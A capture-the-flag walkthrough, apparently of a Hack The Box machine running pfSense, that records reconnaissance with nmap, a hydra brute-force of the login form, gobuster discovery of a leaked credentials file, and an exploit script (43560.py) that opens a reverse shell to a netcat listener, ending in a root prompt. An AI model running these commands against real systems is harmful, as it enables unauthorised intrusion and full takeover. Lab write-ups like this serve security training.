1. ping 10.10.10.60

PING 10.10.10.60 (10.10.10.60) 56(84) bytes of data.

64 bytes from 10.10.10.60: icmp\_seq=1 ttl=63 time=223 ms

64 bytes from 10.10.10.60: icmp\_seq=2 ttl=63 time=246 ms

64 bytes from 10.10.10.60: icmp\_seq=3 ttl=63 time=264 ms

^C

--- 10.10.10.60 ping statistics ---

3 packets transmitted, 3 received, 0% packet loss, time 2007ms

rtt min/avg/max/mdev = 223.287/244.644/264.331/16.797 ms

ttl 63 probably linux box

1. nmap -A -Pn -p- 10.10.10.60 --min-rate 10000

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-15 11:57 EDT

Nmap scan report for 10.10.10.60

Host is up (0.20s latency).

Not shown: 65533 filtered ports

PORT STATE SERVICE VERSION

80/tcp open http lighttpd 1.4.35

|\_http-server-header: lighttpd/1.4.35

|\_http-title: Did not follow redirect to https://10.10.10.60/

443/tcp open ssl/https?

| ssl-cert: Subject: commonName=Common Name (eg, YOUR name)/organizationName=CompanyName/stateOrProvinceName=Somewhere/countryName=US

| Not valid before: 2017-10-14T19:21:35

|\_Not valid after: 2023-04-06T19:21:35

|\_ssl-date: TLS randomness does not represent time

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: specialized|general purpose

Running (JUST GUESSING): Comau embedded (92%), FreeBSD 8.X (85%), OpenBSD 4.X (85%)

OS CPE: cpe:/o:freebsd:freebsd:8.1 cpe:/o:openbsd:openbsd:4.0

Aggressive OS guesses: Comau C4G robot control unit (92%), FreeBSD 8.1 (85%), OpenBSD 4.0 (85%)

No exact OS matches for host (test conditions non-ideal).

Network Distance: 2 hops

TRACEROUTE (using port 443/tcp)

HOP RTT ADDRESS

1 205.66 ms 10.10.14.1

2 205.82 ms 10.10.10.60

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 50.73 seconds

1. Open url <http://10.10.10.60> in browser following page is displayed.

Graphical user interface, text, application, chat or text message

Description automatically generated

1. Tried with default password admin/admin, admin/pfsense etc did not worked.
2. Tried to bruteforce password using hydra

hydra -l 'admin' -P /opt/bipin/htbmachines/nibbles/passwordlist/rockyou.txt 10.10.10.60 https-post-form "/index.php:usernamefld=^USER^&passwordfld=^PASS^&login=Login:Username or Password incorrect" -v

but did not get the result.

1. Then using Gobuster tried to search text file extension

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -l -t 30 -e -k -x .txt -u https://10.10.10.60 -k

we found systemuser.txt in which username is rohit and password is default.

1. python3 43560.py --rhost 10.10.10.60 --lhost 10.10.14.25 --lport 4444 --username rohit --password pfsense 2 ⨯

-----------

10.10.10.60

10.10.14.25

4444

rohit

pfsense

CSRF token obtained

Running exploit...

Exploit completed

1. nc -nlvp 4444

listening on [any] 4444 ...

connect to [10.10.14.25] from (UNKNOWN) [10.10.10.60] 5906

sh: can't access tty; job control turned off

# whoami

root

#